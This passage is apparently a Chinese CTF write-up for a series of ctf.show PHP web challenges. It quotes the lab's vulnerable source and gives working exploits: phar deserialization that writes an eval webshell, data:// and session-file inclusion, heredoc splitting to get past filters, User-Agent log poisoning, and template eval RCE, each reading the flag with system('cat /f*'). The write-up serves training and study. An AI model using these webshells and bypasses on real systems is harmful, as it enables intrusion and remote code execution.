$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
php.ini:
phar.readonly = Off
phar反序列化:
<?php
class dbLog{
public $content = '<?php eval($_POST[1]);?>';
public $log = '1.php';
}
$a = new dbLog();
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> addFromString('test.txt','test');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>
运行后当前目录会生成一个a.phar文件,修改文件后缀名为png,然后上传到系统配置那里
右键图像复制图像链接

/img/32d3ca5e23f4ccf1e4c8660c40e75f33.png
借用file_exists来触发phar反序列化:
pre=phar:///var/www/html/img/32d3ca5e23f4ccf1e4c8660c40e75f33&db_format=.png

蚁剑连接:
/1.php
web504
多了模板添加功能,但是查看不了源码

可以尝试写序列化代码到config/settings,等网页加载时会进行反序列化然后生成木马
<?php
class dbLog{
public $content = '<?php eval($_POST[1]);?>';
public $log = '2.php';
}
$a = new dbLog();
echo serialize($a);
?>
返回:
O:5:"dbLog":2:{s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"2.php";}
写入路径:
../config/settings

查看系统配置,可以看到内容已经写入,并覆盖了原来的内容

蚁剑连接:
/2.php
web505
这次文件上传不了,应该是后端做了校验

发现多了一个文件查看功能,可以查看文件源码
我们看看api/admin_templates.php源码

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
$action=$_GET['action'];
if(!isset($user)){
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
switch ($action) {
case 'list':
$sql = "select id,name,type,path,des from templates limit 0,10";
$db=new db();
$temps = $db->select_array($sql);
if(count($temps)>0){
$ret['count']=count($temps);
$ret['data']=$temps;
$ret['msg']='查询成功';
}
break;
case 'update':
extract($_POST);
$row=json_decode($row);
if(waf($row)){
break;
}
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
$db = new db();
if($db->update_one($sql)){
$ret['msg']='实时更新成功';
}else{
$ret['msg']='实时更新失败';
}
break;
case 'getContents':
extract($_POST);
$template=json_decode($template);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
$ret['count']=1;
$ret['msg']='查询成功';
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
}
break;
case 'download':
extract($_POST);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="' . $path. '"');
echo file_get_contents(__DIR__.'/../templates/'.$path);
exit();
}
break;
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}else{
$ret['msg']='文件上传失败';
}
break;
default:
# code...
break;
}
function waf($row){
$ret = false;
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
$ret=true;
}
return $ret;
}
die(json_encode($ret));
原本的上传:
api/admin_templates.php?action=upload
找upload,可以看到把settings过滤了:
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}else{
$ret['msg']='文件上传失败';
}
break;
文件查看的路由是:
/api/admin_file_view.php
查看源码:
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
关键代码:
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
当满足$debug==1且$f以user开头,就用include进行文件包含
POST:
debug=1&f=data://text/plain,user<?php system('cat /f*');?>
解释:
PHP 执行 file_get_contents($f) 时:
读取 data:// 协议,解析 MIME 类型 text/plain,返回逗号后面的内容: user<?php system('cat /f*');?>|
debug=1&f=data://text/plain,user<?php system('cat /f*');?>
└─────┬─────┘└──────────┬──────────┘
MIME类型 实际内容
web506
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这题的api/admin_file_view.php相比上题,多了一个判断文件名后缀的代码
取 $f 文件名的最后三个字符,如果扩展名是 php、sml 或 phar(不区分大小写),则直接返回提示、终止流程
不影响,我们用的是data伪协议,步骤跟上题一样
POST:
debug=1&f=data://text/plain,user<?php system('cat /f*');?>
web507
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
api/admin_file_view.php没变,继续用上题方法
POST:
debug=1&f=data://text/plain,user<?php system('cat /f*');?>
web508
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这次把伪协议禁了,不能直接写伪协议,可以换个方法,用一个文件来当中转站执行命令

改成:
user<?php system('cat /f*');?>

复制图片链接
http://da61ab44-e019-4250-b809-d74fe9af9d8b.challenge.ctf.show/img/1d5a590870a0ce6e369dcb1f3d857651.png
发送POST请求到api/admin_file_view.php
debug=1&f=/var/www/html/img/1d5a590870a0ce6e369dcb1f3d857651.png

web509
api/admin_upload.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这次api/admin_upload.php会对文件内容进行校验:
if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
用短回显标签和反引号绕过:
user<?=`cat /f*`?>
过程同上题
debug=1&f=/var/www/html/img/1d5a590870a0ce6e369dcb1f3d857651.png
web510
api/admin_upload.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这次文件上传限制很严格,换个方法

看看api/admin_edit.php对应的源码
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
用session文件包含来做这题
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;

昵称对应的就是nickname
Cookie: PHPSESSID=2el69jq6piroqur705tntc55h1
在cookie复制PHPSESSID的值,然后拼接访问
../../../tmp/sess_2el69jq6piroqur705tntc55h1

user|a:3:{s:8:"username";s:5:"admin";s:8:"nickname";s:6:"大牛";s:6:"avatar";s:67:"http://pic3.zhimg.com/50/v2-1c86b2511805e85d157b94266be12672_hd.jpg";}
刚好前面有个user,符合api/admin_file_view.php的要求,我们在名称修改处传入一句话木马
<?php eval($_POST[1]);?>

发送POST请求到api/admin_file_view.php
debug=1&f=/tmp/sess_2el69jq6piroqur705tntc55h1&1=system('cat /f*');

web511
api/admin_file_view.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这次把sess也过滤了
分析其他代码,发现render/render_class.php有个eval函数
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}
}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}
}
return $templateContent;
}
public static function checkVar($templateContent,$arg){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
return $templateContent;
}
}
关键代码:
public static function checkVar($templateContent,$arg){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
return $templateContent;
}
shade函数调用了checkVar,然后render函数调用了shade
render($template,$arg=array())
shade($templateContent,$arg)
checkVar($templateContent,$arg)
//详细:
render($template,$arg=array()):
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
替换函数:
str_replace(find,replace,string,count)
index.php
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
发现api/admin_edit.php可以控制user数组
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
关键代码:
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
我们只要nickname传入要执行的命令,然后修改前面的模板占位符为{{var:nickname}}即可
修改nickname执行命令:
system('cat /f*');

打开新增模板功能,名称写1.sml,后面我们要GET传入?action=view&page=1,要跟page对应
内容写1{{var:nickname}},用于模板渲染
名称:1.sml
内容:1{{var:nickname}}

加个1是因为render/render_class.php中if(stripos($templateContent, '{{var:'.$key.'}}')){这里有问题,如果是在开头匹配到的话会返回下标0,然后if(0)就不会进入语句块,也就无法执行eval,正确写法应该是
if(stripos($templateContent, '{{var:'.$key.'}}') !== false){
访问:
index.php?action=view&page=1
总结:
admin_edit.php → Session污染 → index.php/view → render() → checkVar() → eval() → RCE
| 序号 | 文件 | 漏洞类型 | 说明 |
|---|---|---|---|
| 1 | render/render_class.php |
代码执行 | checkVar()中eval('$v='.$value.';') |
| 2 | render/render_class.php |
逻辑缺陷 | stripos()未用!==false判断,开头匹配失效 |
| 3 | api/admin_edit.php |
Session污染 | 可控制$_SESSION['user']['nickname'] |
| 4 | index.php |
入口触发 | view动作调用render($_GET['page'], $user) |
web512
render/render_class.php
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}
}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}
}
return $templateContent;
}
public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
}
return $templateContent;
}
}
对$value过滤很严格:
if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
因为网站的php版本为5.6,且正则没有过滤花括号,可以用$_POST{1}来代替$_POST[1],旧版 PHP 允许使用花括号 {} 访问数组某个键,比如 $_POST{1},这是 PHP 早期版本的语法,但从 PHP 7.4 开始,花括号访问数组的语法被废弃并在 PHP 8.0 中移除
那我们要写入的命令为:
<?php include $_POST{1};?>
可以用heredoc语法来定义长字符串,它允许开发者定义多行字符串而不需要使用引号,也不用为引号、换行符等转义,非常方便地写包含多行HTML、SQL、代码片段等内容的字符串,格式为
$变量名 = <<<标识符
多行字符串内容
标识符;
<<< 是heredoc开始的标记,后面跟一个自定义的标识符,直到文件中某一行独立写着完全相同的结束标识符就结束,结束标识符后必须加分号;结束
Heredoc写法:
username=admin&nickname=1;
$a=<<<ctf
<?php includ
ctf;
$b=<<<ctf
e $
ctf;
$c=<<<ctf
_POS
ctf;
$d=<<<ctf
T{1};?>
ctf;
$n=<<<ctf
1.php
ctf;
$e=clone $db;
$e->log->log=$n;
$e->log->content=$a.$b.$c.$d;
最后用到了反序列化知识,具体可以回顾web493
POST发包到api/admin_edit.php

然后跟上题一样新增模板,
名称:1.sml
内容:1{{var:nickname}}
访问:
index.php?action=view&page=1
模板在后端渲染后会生成1.php
GET:
/1.php
POST:
1=data://text/plain,<?php system('cat /f*');
web513
render/render_class.php
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
$templateContent=templateUtil::checkFoot($templateContent);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}
}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}
}
return $templateContent;
}
public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
}
return $templateContent;
}
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}
}
return $templateContent;
}
}
发现下面多了一个checkFoot函数,具体代码如下
public static function checkFoot($templateContent){
if (stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}
}
return $templateContent;
}
这里会读取config/settings的内容进行反序列化,根据前面的题目,对应的文件为api/admin_settings.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
会把系统配置功能处的数据存入$config数组,然后$config['cnzz']对应的是页面统计

因为render/render_class.php有个$foot=file_get_contents($foot),然后再进行include操作
那我们可以在页面统计放入一个文件地址,然后这个文件的内容是另一个文件的地址,这样就可以进行文件包含
先写一个模板到templates目录下,内容为/var/log/nginx/access.log
1.sml
/var/log/nginx/access.log

页面统计写/var/www/html/templates/1.sml
/var/www/html/templates/1.sml

写入模板2.sml,内容为1{{cnzz}}
2.sml
1{{cnzz}}
GET:
index.php?action=view&page=2

然后进行日志文件执行命令即可,UA头写入一句话木马,读取flag
<?php @eval($_POST[1]);?>
GET:
/index.php?action=view&page=2
POST:
1=system('cat /f*');
web514
render/render_class.php
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
$templateContent=templateUtil::checkFoot($templateContent);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}
}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}
}
return $templateContent;
}
public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
}
return $templateContent;
}
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
include($foot);
}
}
}
return $templateContent;
}
}
这次加了过滤,可以用data伪协议来做
if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
api/admin_templates.php
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
$action=$_GET['action'];
if(!isset($user)){
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
switch ($action) {
case 'list':
$sql = "select id,name,type,path,des from templates limit 0,10";
$db=new db();
$temps = $db->select_array($sql);
if(count($temps)>0){
$ret['count']=count($temps);
$ret['data']=$temps;
$ret['msg']='查询成功';
}
break;
case 'update':
extract($_POST);
$row=json_decode($row);
if(waf($row)){
break;
}
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
$db = new db();
if($db->update_one($sql)){
$ret['msg']='实时更新成功';
}else{
$ret['msg']='实时更新失败';
}
break;
case 'getContents':
extract($_POST);
$template=json_decode($template);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
$ret['count']=1;
$ret['msg']='查询成功';
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
}
break;
case 'download':
extract($_POST);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="' . $path. '"');
echo file_get_contents(__DIR__.'/../templates/'.$path);
exit();
}
break;
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
break;
default:
# code...
break;
}
function waf($row){
$ret = false;
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
$ret=true;
}
